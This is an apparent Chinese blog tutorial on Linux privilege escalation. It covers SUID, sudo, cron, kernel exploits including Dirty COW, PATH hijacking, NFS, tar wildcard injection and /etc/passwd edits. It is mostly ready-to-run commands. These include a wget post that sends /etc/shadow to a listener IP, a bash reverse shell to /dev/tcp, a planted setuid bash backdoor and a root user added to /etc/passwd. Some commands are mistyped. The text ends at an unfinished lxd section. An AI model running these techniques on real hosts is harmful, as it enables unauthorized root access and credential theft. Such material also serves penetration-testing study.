Linux提权之八大实战利器与高权限操作技巧

高权限能做什么?

系统控制:安装、配置、卸载软件和服务。
数据访问:读取、修改和删除所有文件和数据库。
用户管理:创建、修改或删除用户账户和权限。
系统配置:更改网络、安全和其他核心设置。
硬件管理:控制硬件资源和设备。
远程访问:远程登录和控制系统。
安全策略:绕过或修改安全限制和防火墙规则。
系统维护:执行更新、备份和恢复。
监控和日志:查看系统和网络活动记录。
执行脚本和命令:运行系统级脚本和命令。
诊断和修复:检测和修复系统问题。
计划任务:创建定时执行的任务或脚本。

LINUX提权

0x01.SUID提权

SUID(set UID 设置用户ID)是一种LINUX的权限机制,有SUID权限的文件在其执行时,会使调用者暂时获得该文件拥有者的权限。如果有SUID提权,就可以利用系统中的二进制文件和工具进行root提权
提权条件

1、只有可以执行的二进制程序文件才能设定SUID权限
2、SUID权限只在该程序执行过程中有效
3、命令执行者对二进制程序文件有执行(x)权限

已知可以用来提权的linux可行性的文件列表:Nmap、vim 、find、Bash 、sh 、More 、Less 、SH 、CP 、awk

chmod命令
chmod u+s file  #将该文件设置suid权限
chmod u-s file  #将该文件去除suid权限
Find命令(查找有SUID权限的文件)

find命令:主要作用是指定文件中查找包含指定字符串的行,并将这些行打印到屏幕上或输出到其他文件
参数:

find . -type f -atime +365 -exec rm -rf \;
从当前文件下   找普通文件  365前浏览的  执行删除命令
  • -name 需要查询的文件名
  • -user 文件属主用户名
  • -perm 4000 2000 1000分别表示 SUID SGID SBIT
  • -exec 命令 ; 对搜索到的文件执行系统命令
  • -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号连接、普通文件
  • -atime +n 在n天前读取过的文件

利用find命令全局搜索具有SUID权限的文件或命令

#任选其一即可
find / -user root -perm -4000 -print 2>/dev/null
find / perm -u=s -type -f 2>/dev/null
#2表示该进程的第二个文件描述符,即stderr(标准错误)  >表示重定向  /dev/null是一个特殊的文件系统对象,会丢弃写入其中的所有内容
find / -user root -perm -4000 -exec ls -ldb {} \;
find提权
find -name flag -exec "/bin/bash" -p \; #-p表示以root运行bash
touch 1.txt #创建文件1.txt
/usr/bin/find 1.txt -exec whoami \;

还利用exec参数执行系统命令,例如使用find命令去掉文件的i命令

find index.php -exec chattr -i index.php \;  #正常情况下有i权限的文件不能删除
nmap提权

旧版本的NMAP(2.02-5.21)有交互模式,由于Nmap在使用root权限执行的二进制文件列表中,允许用户执行shell命令

#查看namp版本
nmap -V
#进入交互模式
namp --interactive
#提升shell
nmap> !sh
sh-3.2# whoami
root
#也可通过Metasploit模块对Nmap的二进制文件进行权限提升
exploit/unix/local/setuid_nmap
vim提权

指的是vim或其相关文件(如vim.basic、vim.tiny等)被设置SUID权限时,利用这个获得更高权限

vim.basic /etc/passwd
然后在该文件中添加新用户
newuser:$6$salt$hash:uid:gid:GECOS:home:shell #$6$salt$hash是使用openssl passwd -1 -salt salt生成的密码哈希

vim.tiny /etc/shadow
#然后按ESC
:set shell=/bin/sh
:shell
Bash提权
bash -p #尝试获取root shell
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(serv

Less或More提权
less /etc/passwd
!/bin/sh #尝试获取shell
nano提权

nano是文本编辑器

sudo /bin/nano
#按下面的按键执行命令
Ctrl + R
Ctrl + X 
CP提权

可以通过它覆盖一些关键的系统文件或二进制文件,从而获取更高权限

cp /bin/bash /tmp/bash #覆盖/bin/bash来创建后门
chmod u+s /tmp/bash
/tmp/bash -p #执行该命令可以获取一个root权限的shell
awk提权
sudo awk 'BEGIN {"/bin/bash"}'

0x02sudo提权

Linux/Unix中,/etc/sudoers是sudo权限配置文件

vim /etc/sudoers
test ALL=(ALL:ALL) NOPASSWD:ALL #设置成免密码,新增一个test用户。sudo su test 切到test用户,不需密码,且有root权限
test All(ALL:ALL) /usr/bin/wget
test ALL(ALL:ALL) ALL

可以利用的sudo提权命令:

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

sudo wget提权
wget命令能使用户借助许多协议(http、https、ftp)从internet或服务器同时下载单个或多个文件
wget提权原理:使用-post-file参数,将/etc/shadow的内容发送到监听IP并保存为hash.txt

#kali监听
nc -lvp 4444 > hash.txt
#靶机
/user/bin/wget --post-file=/etc/shadow 192.168.0.114:4444
#然后kali cat对应的hash.txt
其中的root部分使用john字典对其进行破解
/usr/share/john$ john --wordlist=password.lst /home/light/hash.txt

**sudo find提权 ** root仍需密码

sudo find /home -exec /bin/bash \; #使用exec执行/bin/bash来访问root shell 但还是需要密码

sudo cat提权
cat命令能使用户连接文件并打印到标准输出设备上
得到sudo权限之后可以查看/etc/shadow中的账号密码,并使用john破解

sudo cat /etc/shadow

sudo apt提权
apt是Debian和Ubuntu中的shell前端软件包管理器,但执行apt命令需root权限。可以通过下面方式直接进入root

TF=$(mktemp) #创建临时文件
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF #在其中构建一个包调用/bin/bash 
sudo apt-get install -c $TF sl #通过apt-get安装该包

sudo zip提权 root仍需密码
zip命令用于压缩文件

sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash" #但还是需要密码

sudo xxd提权 root需密码
xxd命令是二进制显示和处理文件工具,可以将指定文件内容生成为十六进制文件,反过来也行。
这里利用xxd读取十六进制的/etc/shadow文件,并通过管道符连接另一个xxd命令以将十六进制恢复成源文件

sudo xxd "/etc/shadow" | xxd -r  #root仍需要密码

sudo git提权 root需密码

sudo git help config  #法一
sudo git -p help #法二

sudo pip提权

TF=$(mktemp -d) 
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py 
sudo pip install $TF

sudo scp提权

TF=$(mktemp) 
echo 'sh 0<&2 1>&2' > $TF 
chmod +x "$TF" 
sudo scp -S $TF x y:

0x03计划任务提权

利用系统中的定时任务(如cron作业)的配置不当或弱点来提权
1.查找计划任务

ls -l /etc/cron* #查看系统级别的cron作业配置文件
cat /etc/crontab

2.分析计划任务权限:检查cron作业文件的权限和所有者,如果某个作业文件权限较为宽松(如777),或属于root,则可能存在提权机会

3.编辑计划任务提权:编辑可写的cron作业文件,添加执行恶意命令
例如:反弹shell

/bin/bash -i >& /dev/tcp/192.168.111.5/1234 0>&1

4.利用环境变量提权:有些cron作业任务可能通过环境变量执行命令,如果这些环境变量可以被修改,则可以添加恶意代码,例如:

SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/path/to/your/malicious/script

0x04内核漏洞提权

内核漏洞提权方法
1.收集内核版本信息

uname -a              #查看主机的内核信息
uname -m              #查看系统内核架构(64位/32位)
uname -r              #内核版本
cat /etc/lsb-release  #当前系统发行版本
cat /etc/issue        #查看发行版
cat /proc/version     #内核信息

2.通过exploit-db或searchsplopit等工具搜索具体内核版本信息

例如: searchsploit Linux 4.4.0
然后选择合适的提权版本 例如: searchsploit -m 45010.c

3.利用python3 -m http.server或wget等服务将poc脚本传送至目标主机

wget https://www.exploit-db.com/exploits/45010
gcc cve-2017-16995.c -o cve-2017.16995#查看脚本需要进行编译
gcc 45010.c -o test #gcc编译
./test #运行拿到提权

还可以利用linux-exploit-suggester等工具对靶机操作系统版本号自动查找相应的提权脚本

脏牛提权漏洞(cve-2016-5195)为例
脏牛提权漏洞是由于linux内核的内存子系统在处理写入复制时,产生了竞争条件。

竞争条件指的任务执行顺序异常,可导致应用崩溃,令攻击者有机可乘

通过 uname -a 命令来看:如果内核版本低于下面的版本说明还存在
- Centos7 /RHEL7 3.10.0-327.36.3.el7
- Cetnos6/RHEL6 2.6.32-642.6.2.el6
- Ubuntu 16.10 4.8.0-26.28
- Ubuntu 16.04 4.4.0-45.66
- Ubuntu 14.04 3.13.0-100.147
- Debian 8 3.16.36-1+deb8u2
- Debian 7 3.2.82-1

提权利用

	-    https://github.com/dirtycow/dirtycow.github.io
-    https://github.com/gbonacini/CVE-2016-5195
-    https://github.com/FireFart/dirtycow
-    https://github.com/Rvn0xsy/reverse_dirty

下载 https://github.com/gbonacini/CVE-2016-5195\ 复制到kali,利用nc上传文件到靶机,先在靶机监听

nc -l 9528 > CVE-2016-5195-master.zip
nc 192.168.111.24 9528 < CVE-2016-5195-master.zip #上传

查看接受文件,解压进入文件夹进行编译
直接执行文件,然后切换,输入对应密码,成功提权

0x05环境变量劫持提权

PATH是Linux和Unix操作系统中的环境变量,定义操作系统搜索可执行文件的目录顺序。如何PATH包含可写目录,攻击者可以在这些目录中放置恶意可执行文件
1.查看PATH环境变量内容

echo $PATH 
默认情况输出:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

2.寻找可写目录

find / -writable 2>/dev/null

在可写目录中创造脚本dom.c

#include<unistd.h>
void main()
{
        setuid(0);
        setgid(0);
        system("ps");
}

使用gcc编译

gcc dom.c -o shell

赋予dom.cSUID权限

chmod u+s shell

3.给PATH添加自定义路径

$_PATH=$PATH:可写目录(绝对路径)

4.进入提权阶段,通过ssh登录到受害者机器,使用find命令,搜索有SUID或4000权限的文件

find / -perm -u=s -type f 2>/dev/null

0x06NFS提权

当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

#查看NFS服务器上的共享目录
sudo showmount -e x.x.x.x
#创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell
sudo mkdir -p /tmp
sudo mount -t nfs x.x.x.x:/home/test /tmp
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
#回到要提权的服务器上,使用普通用户使用shell -p来获取root权限

0x07通配符WS提权

在linux中,通配符通常被用来模糊查询,且通配符的输入是由当前用户的shell去进行解析的。

* :匹配任意数量字符
? :匹配单个字符
[]:匹配括号中的任意单一字符,可以使用-表示范围

ws(Wildcard wildness)

先建立三个文件,分别写入1,2,3

echo "1" > 1.txt
echo "2" > 2.txt
echo "3" > --help

接着使用cat命令进行读取

cat 1.txt
cat 2.txt
cat --help #当读取--help文件时,会触发--help参数

在这里插入图片描述

此时使用ls *命令,会发现实际执行了ls --help命令。
在这里插入图片描述

那么该如何利用呢?
这里以tar命令为例

#准备一个文件
echo "test" > test.txt 
#将文件压缩到压缩包中,并进行命令执行
tar -czf test.tgz test.txt --checkpoint=1 --checkpoint-action=exec=pwd
#创建两个和上面两个参数同名的文件
echo " " > --checkpoint=1
echo " " > --checkpoint-action=exec=pwd
#执行命令
tar -czf test.tgz *
会发现执行了pwd命令

0x08明文密码提权

利用/etc/passwd、/etc/shadow配置文件进行提权。passwd是全用户可读,root可写。shadow是仅root读写。
普通用户在/etc/passwd文件中配置写的权限,添加一个新用户,通过修改x为一段已知密码的hash值

新用户名:x:新用户ID:新组ID:用户注释:新用户主目录:登录 shell
lulu:x:0:0:root:/root:/bin/bash 
用户名:lulu
密码:x (x 代表密码 hash 被放在 /etc/shadow文件中)
使用openssl生成一个hash,设置密码为admin
openssl passwd -1 -salt lulu admin
//-1为MD5加密算法,-salt指定盐值,后面为密码
lulu:$1$lulu$qx4Kv0orRvbuvbZEK44Ji.:0:0:root:/root:/bin/bash

0x9 lxd/lxc提权

Linux Container(LXC)一种轻量级虚拟化技术,介于Chroot和完整开发的虚拟机之间,lxc可以创建一个根正常Linux操作系统十分接近的环境,但是不需要使用单独的内核资源。
Linux Daemon(LXD)一个轻量级容器管理程序,LXD是基于LXC容器技术是实现的。

如果属于lxd或lxc组,可以利用这个进行提权。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值